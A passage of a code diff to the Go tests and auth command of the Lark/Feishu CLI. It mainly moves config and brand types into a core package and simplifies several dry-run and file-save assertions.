t.Fatalf("dry-run stdout is not JSON: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String())
output := stdout.String()
if !strings.Contains(output, "Dry Run") {
t.Error("expected dry run output")
}
if got["ok"] != true || got["identity"] != "bot" || got["dry_run"] != true {
t.Fatalf("unexpected dry-run envelope: %#v", got)
}
data, ok := got["data"].(map[string]interface{})
if !ok {
t.Fatalf("data = %#v, want object", got["data"])
}
api, ok := data["api"].([]interface{})
if !ok || len(api) != 1 {
t.Fatalf("api = %#v, want one call", data["api"])
}
call, ok := api[0].(map[string]interface{})
if !ok || call["url"] != "/open-apis/test" {
t.Fatalf("api[0] = %#v", api[0])
}
if strings.Contains(stdout.String(), "=== Dry Run ===") {
t.Fatalf("stdout should not contain dry-run banner: %s", stdout.String())
}
}
func TestApiCmd_DryRunWithJq(t *testing.T) {
f, stdout, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
})
cmd := newTestApiCmd(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--dry-run", "--jq", ".data.api[0].url"})
if err := cmd.Execute(); err != nil {
t.Fatalf("unexpected error: %v", err)
}
if got := strings.TrimSpace(stdout.String()); got != "/open-apis/test" {
t.Fatalf("jq output = %q, want /open-apis/test", got)
if !strings.Contains(output, "/open-apis/test") {
t.Error("expected path in dry run output")
}
}
@@ -124,8 +92,8 @@ func TestApiCmd_DryRunWithJq(t *testing.T) {
// not panic. Symmetric to the typed-flag overlay path in cmd/service — both
// write into the map ParseJSONMap returns.
func TestApiCmd_NullParamsWithPageSize(t *testing.T) {
f, stdout, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, nil)
@@ -139,8 +107,8 @@ func TestApiCmd_NullParamsWithPageSize(t *testing.T) {
}
func TestApiCmd_BotMode(t *testing.T) {
f, stdout, _, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
// Register API endpoint stub
@@ -172,8 +140,8 @@ func TestApiCmd_BotMode(t *testing.T) {
}
func TestApiCmd_MissingArgs(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, nil)
@@ -184,25 +152,9 @@ func TestApiCmd_MissingArgs(t *testing.T) {
}
}
func TestApiCmd_EmptyMethodRejected(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
})
cmd := newTestApiCmd(f, nil)
cmd.SetArgs([]string{"", "/open-apis/test", "--as", "bot", "--dry-run"})
err := cmd.Execute()
if err == nil {
t.Fatal("expected validation error for empty HTTP method")
}
if !strings.Contains(err.Error(), "method") {
t.Fatalf("error should name the method argument, got: %v", err)
}
}
func TestApiCmd_InvalidParamsJSON(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, nil)
@@ -214,8 +166,8 @@ func TestApiCmd_InvalidParamsJSON(t *testing.T) {
}
func TestApiValidArgsFunction(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, nil)
@@ -280,8 +232,8 @@ func TestApiValidArgsFunction(t *testing.T) {
}
func TestNewCmdApi_StrictModeHidesAsFlag(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu, SupportedIdentities: 2,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu, SupportedIdentities: 2,
})
cmd := newTestApiCmd(f, nil)
@@ -298,8 +250,8 @@ func TestNewCmdApi_StrictModeHidesAsFlag(t *testing.T) {
}
func TestApiCmd_PageLimitDefault(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *APIOptions
@@ -318,8 +270,8 @@ func TestApiCmd_PageLimitDefault(t *testing.T) {
}
func TestApiCmd_ParamsAndDataBothStdinConflict(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, nil)
@@ -334,8 +286,8 @@ func TestApiCmd_ParamsAndDataBothStdinConflict(t *testing.T) {
}
func TestApiCmd_OutputAndPageAllConflict(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *APIOptions
@@ -354,11 +306,8 @@ func TestApiCmd_OutputAndPageAllConflict(t *testing.T) {
}
func TestApiCmd_BinaryResponse_AutoSave(t *testing.T) {
dir := t.TempDir()
cmdutil.TestChdir(t, dir)
f, stdout, stderr, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app-bin", AppSecret: "test-secret-bin", Brand: brand.Feishu,
f, stdout, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-bin", AppSecret: "test-secret-bin", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
@@ -376,39 +325,14 @@ func TestApiCmd_BinaryResponse_AutoSave(t *testing.T) {
if !strings.Contains(stderr.String(), "binary response detected") {
t.Error("expected binary response hint in stderr")
}
var got map[string]interface{}
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
t.Fatalf("stdout is not JSON: %v\nstdout:\n%s", err, stdout.String())
}
savedPath, _ := got["saved_path"].(string)
if savedPath == "" {
t.Fatalf("saved_path missing from output: %#v", got)
}
// The file must land inside the temporary cwd — this pins the isolation
// contract: rolling back TestChdir would leave download.bin in the repo.
wantDir, err := filepath.EvalSymlinks(dir)
if err != nil {
t.Fatal(err)
}
gotDir, err := filepath.EvalSymlinks(filepath.Dir(savedPath))
if err != nil {
t.Fatalf("saved_path %q dir not resolvable: %v", savedPath, err)
}
if gotDir != wantDir {
t.Errorf("saved_path %q is outside temp cwd %q", savedPath, wantDir)
}
content, err := os.ReadFile(savedPath)
if err != nil {
t.Fatalf("read saved file: %v", err)
}
if string(content) != "fake-binary-content" {
t.Errorf("saved file content = %q, want %q", content, "fake-binary-content")
if !strings.Contains(stdout.String(), "saved_path") {
t.Error("expected saved_path in output")
}
}
func TestApiCmd_PageAll_NonBatchAPI_FallbackToJSON(t *testing.T) {
f, stdout, stderr, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app-pageall1", AppSecret: "test-secret-pageall1", Brand: brand.Feishu,
f, stdout, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-pageall1", AppSecret: "test-secret-pageall1", Brand: core.BrandFeishu,
})
// Register a non-batch API that returns scalar data (no array field)
@@ -451,8 +375,8 @@ func TestApiCmd_PageAll_NonBatchAPI_FallbackToJSON(t *testing.T) {
}
func TestApiCmd_PageAll_NonBatchAPI_ErrorStillOutputsJSON(t *testing.T) {
f, stdout, _, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app-pageall-err", AppSecret: "test-secret-pageall-err", Brand: brand.Feishu,
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-pageall-err", AppSecret: "test-secret-pageall-err", Brand: core.BrandFeishu,
})
// Non-batch API that returns a business error (code != 0)
@@ -488,8 +412,8 @@ func TestApiCmd_PageAll_NonBatchAPI_ErrorStillOutputsJSON(t *testing.T) {
}
func TestApiCmd_PageAll_BatchAPI_StreamsItems(t *testing.T) {
f, stdout, stderr, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app-pageall2", AppSecret: "test-secret-pageall2", Brand: brand.Feishu,
f, stdout, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-pageall2", AppSecret: "test-secret-pageall2", Brand: core.BrandFeishu,
})
// Register a batch API that returns an array field
@@ -521,8 +445,8 @@ func TestApiCmd_PageAll_BatchAPI_StreamsItems(t *testing.T) {
}
func TestApiCmd_PageAll_StreamBusinessErrorDoesNotDumpJSON(t *testing.T) {
f, stdout, _, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app-pageall-stream-err", AppSecret: "test-secret-pageall-stream-err", Brand: brand.Feishu,
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-pageall-stream-err", AppSecret: "test-secret-pageall-stream-err", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
@@ -563,8 +487,8 @@ func TestApiCmd_PageAll_StreamBusinessErrorDoesNotDumpJSON(t *testing.T) {
}
func TestApiCmd_PageAll_BatchAPI_DefaultJSONEnvelope(t *testing.T) {
f, stdout, _, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app-pageall-json", AppSecret: "test-secret-pageall-json", Brand: brand.Feishu,
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-pageall-json", AppSecret: "test-secret-pageall-json", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
@@ -629,8 +553,8 @@ func TestApiCmd_PageAll_DefaultJSONRunsContentSafety(t *testing.T) {
extcs.Register(provider)
t.Cleanup(func() { extcs.Register(nil) })
f, stdout, _, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app-pageall-safety", AppSecret: "test-secret-pageall-safety", Brand: brand.Feishu,
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-pageall-safety", AppSecret: "test-secret-pageall-safety", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
@@ -680,8 +604,8 @@ func TestApiCmd_PageAll_StreamFormatRunsContentSafety(t *testing.T) {
extcs.Register(provider)
t.Cleanup(func() { extcs.Register(nil) })
f, stdout, stderr, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app-pageall-stream-safety", AppSecret: "test-secret-pageall-stream-safety", Brand: brand.Feishu,
f, stdout, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-pageall-stream-safety", AppSecret: "test-secret-pageall-stream-safety", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
@@ -725,8 +649,8 @@ func TestApiCmd_PageAll_StreamFormatBlockSkipsBlockedPage(t *testing.T) {
extcs.Register(provider)
t.Cleanup(func() { extcs.Register(nil) })
f, stdout, _, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app-pageall-stream-block", AppSecret: "test-secret-pageall-stream-block", Brand: brand.Feishu,
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-pageall-stream-block", AppSecret: "test-secret-pageall-stream-block", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
@@ -811,8 +735,8 @@ func TestNormalisePath_StripsQueryAndFragment(t *testing.T) {
}
func TestApiCmd_JqFlag_Parsing(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *APIOptions
@@ -831,8 +755,8 @@ func TestApiCmd_JqFlag_Parsing(t *testing.T) {
}
func TestApiCmd_JqFlag_ShortForm(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *APIOptions
@@ -851,8 +775,8 @@ func TestApiCmd_JqFlag_ShortForm(t *testing.T) {
}
func TestApiCmd_JqAndOutputConflict(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, func(opts *APIOptions) error {
@@ -869,8 +793,8 @@ func TestApiCmd_JqAndOutputConflict(t *testing.T) {
}
func TestApiCmd_JqFilter_AppliesExpression(t *testing.T) {
f, stdout, _, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app-jq", AppSecret: "test-secret-jq", Brand: brand.Feishu,
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-jq", AppSecret: "test-secret-jq", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
@@ -903,8 +827,8 @@ func TestApiCmd_JqFilter_AppliesExpression(t *testing.T) {
}
func TestApiCmd_JqAndFormatConflict(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, func(opts *APIOptions) error {
@@ -921,8 +845,8 @@ func TestApiCmd_JqAndFormatConflict(t *testing.T) {
}
func TestApiCmd_JqInvalidExpression(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, func(opts *APIOptions) error {
@@ -939,8 +863,8 @@ func TestApiCmd_JqInvalidExpression(t *testing.T) {
}
func TestApiCmd_PageAll_WithJq(t *testing.T) {
f, stdout, _, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app-pjq", AppSecret: "test-secret-pjq", Brand: brand.Feishu,
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-pjq", AppSecret: "test-secret-pjq", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
@@ -970,8 +894,8 @@ func TestApiCmd_PageAll_WithJq(t *testing.T) {
}
func TestApiCmd_MethodUppercase(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *APIOptions
@@ -990,8 +914,8 @@ func TestApiCmd_MethodUppercase(t *testing.T) {
}
func TestApiCmd_FileFlagParsing(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *APIOptions
cmd := newTestApiCmd(f, func(opts *APIOptions) error {
@@ -1009,8 +933,8 @@ func TestApiCmd_FileFlagParsing(t *testing.T) {
}
func TestApiCmd_FileAndOutputConflict(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, func(opts *APIOptions) error {
return apiRun(opts)
@@ -1026,8 +950,8 @@ func TestApiCmd_FileAndOutputConflict(t *testing.T) {
}
func TestApiCmd_FileWithGET(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, func(opts *APIOptions) error {
return apiRun(opts)
@@ -1043,8 +967,8 @@ func TestApiCmd_FileWithGET(t *testing.T) {
}
func TestApiCmd_FileStdinConflictWithData(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, func(opts *APIOptions) error {
return apiRun(opts)
@@ -1066,8 +990,8 @@ func TestApiCmd_DryRunWithFile(t *testing.T) {
t.Fatal(err)
}
f, stdout, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, nil)
cmd.SetArgs([]string{"POST", "/open-apis/im/v1/images", "--file", "image=" + tmpFile, "--data", `{"image_type":"message"}`, "--dry-run", "--as", "bot"})
@@ -1076,23 +1000,11 @@ func TestApiCmd_DryRunWithFile(t *testing.T) {
t.Fatalf("unexpected error: %v", err)
}
out := stdout.String()
var env map[string]interface{}
if err := json.Unmarshal(stdout.Bytes(), &env); err != nil {
t.Fatalf("dry-run stdout is not JSON: %v\n%s", err, out)
if !strings.Contains(out, "image") {
t.Errorf("expected dry-run output to mention file field, got: %s", out)
}
if env["dry_run"] != true {
t.Fatalf("dry_run = %#v, want true", env["dry_run"])
}
data := env["data"].(map[string]interface{})
api := data["api"].([]interface{})
call := api[0].(map[string]interface{})
body := call["body"].(map[string]interface{})
file := body["file"].(map[string]interface{})
if file["field"] != "image" || file["path"] != tmpFile {
t.Fatalf("unexpected file dry-run body: %#v", body)
}
if strings.Contains(out, "=== Dry Run ===") {
t.Fatalf("stdout should not contain dry-run banner: %s", out)
if !strings.Contains(out, "Dry Run") {
t.Errorf("expected dry-run header, got: %s", out)
}
}
@@ -1104,8 +1016,8 @@ func TestApiCmd_DryRunWithFile(t *testing.T) {
// — there is no raw-payload passthrough; new Lark diagnostic fields require
// a CLI release.
func TestApiCmd_PermissionError_DerivesFirstClassFields(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "cli_test_perm", AppSecret: "secret", Brand: brand.Feishu,
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "cli_test_perm", AppSecret: "secret", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
@@ -1143,8 +1055,8 @@ func TestApiCmd_PermissionError_DerivesFirstClassFields(t *testing.T) {
}
func TestApiCmd_JsonFlag_Accepted(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *APIOptions
@@ -1196,8 +1108,8 @@ func parseMultipartFilenames(t *testing.T, stub *httpmock.Stub) (map[string]stri
}
func TestApiCmd_FileUpload_PreservesFilename(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
dir := t.TempDir()
@@ -1225,8 +1137,8 @@ func TestApiCmd_FileUpload_PreservesFilename(t *testing.T) {
}
func TestApiCmd_FileUpload_FieldPrefixKeepsBasename(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
dir := t.TempDir()
@@ -1260,8 +1172,8 @@ func TestApiCmd_FileUpload_FieldPrefixKeepsBasename(t *testing.T) {
}
func TestApiCmd_FileUpload_WithDataFields(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
dir := t.TempDir()
@@ -1293,8 +1205,8 @@ func TestApiCmd_FileUpload_WithDataFields(t *testing.T) {
}
func TestApiCmd_FileUpload_StdinFallsBackToUnknown(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
f.IOStreams.In = bytes.NewReader([]byte("stdin-bytes"))

View File

@@ -16,8 +16,8 @@ import (
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/errclass"
"github.com/larksuite/cli/internal/identity"
)
// NewCmdAuth creates the auth command with subcommands.
@@ -130,7 +130,7 @@ func getAppInfo(ctx context.Context, f *cmdutil.Factory, appId string) (*appInfo
HttpMethod: http.MethodGet,
ApiPath: larkauth.ApplicationInfoPath(appId),
QueryParams: queryParams,
}, identity.AsBot)
}, core.AsBot)
if err != nil {
return nil, err
}
@@ -170,7 +170,7 @@ func classifyAppInfoErr(rawBody []byte, code int, msg string, f *cmdutil.Factory
}
raw["code"] = code
raw["msg"] = msg
cc := errclass.ClassifyContext{Identity: string(identity.AsBot)}
cc := errclass.ClassifyContext{Identity: string(core.AsBot)}
if cfg, _ := f.Config(); cfg != nil {
cc.Brand = string(cfg.Brand)
cc.AppID = appId

View File

@@ -12,11 +12,10 @@ import (
"strings"
"testing"
"github.com/larksuite/cli/brand"
"github.com/larksuite/cli/errs"
extcred "github.com/larksuite/cli/extension/credential"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/credential"
"github.com/larksuite/cli/internal/httpmock"
"github.com/larksuite/cli/internal/output"
@@ -24,8 +23,8 @@ import (
)
func TestAuthLoginCmd_FlagParsing(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *LoginOptions
@@ -47,8 +46,8 @@ func TestAuthLoginCmd_FlagParsing(t *testing.T) {
}
func TestAuthLoginCmd_HelpGuidesNonStreamingAgentsToSplitFlow(t *testing.T) {
f, stdout, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := NewCmdAuthLogin(f, func(opts *LoginOptions) error { return nil })
@@ -73,8 +72,8 @@ func TestAuthLoginCmd_HelpGuidesNonStreamingAgentsToSplitFlow(t *testing.T) {
}
func TestAuthCheckCmd_FlagParsing(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *CheckOptions
@@ -93,8 +92,8 @@ func TestAuthCheckCmd_FlagParsing(t *testing.T) {
}
func TestAuthCheckCmd_AcceptsJSONFlag(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *CheckOptions
@@ -193,8 +192,8 @@ func TestAuthListCmd_AcceptsJSONFlag(t *testing.T) {
}
func TestAuthStatusCmd_FlagParsing(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *StatusOptions
@@ -212,8 +211,8 @@ func TestAuthStatusCmd_FlagParsing(t *testing.T) {
}
func TestAuthStatusCmd_AcceptsJSONFlag(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *StatusOptions
@@ -235,8 +234,8 @@ func TestAuthStatusCmd_AcceptsJSONFlag(t *testing.T) {
}
func TestAuthStatusCmd_VerifyFlag(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *StatusOptions
@@ -337,8 +336,8 @@ func TestDomainFlagCompletion(t *testing.T) {
}
func TestAuthScopesCmd_FlagParsing(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *ScopesOptions
@@ -357,8 +356,8 @@ func TestAuthScopesCmd_FlagParsing(t *testing.T) {
}
func TestAuthScopesCmd_JSONFlagForcesJSONFormat(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *ScopesOptions
@@ -383,8 +382,8 @@ func TestAuthScopesCmd_JSONFlagForcesJSONFormat(t *testing.T) {
}
func TestAuthScopesRun_UsesTenantAccessTokenFromCredentialProvider(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "", Brand: brand.Feishu,
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "", Brand: core.BrandFeishu,
})
tokenResolver := &authScopesTokenResolver{}
f.Credential = credential.NewCredentialProvider(nil, nil, tokenResolver, nil)
@@ -439,8 +438,8 @@ func TestAuthScopesRun_UsesTenantAccessTokenFromCredentialProvider(t *testing.T)
// getAppInfo classifies it as *errs.PermissionError carrying the server-
// supplied MissingScopes — not a bare error wrapped as InternalError.
func TestAuthScopesRun_LarkPermissionError_TypedAsPermissionError(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
tokenResolver := &authScopesTokenResolver{}
f.Credential = credential.NewCredentialProvider(nil, nil, tokenResolver, nil)

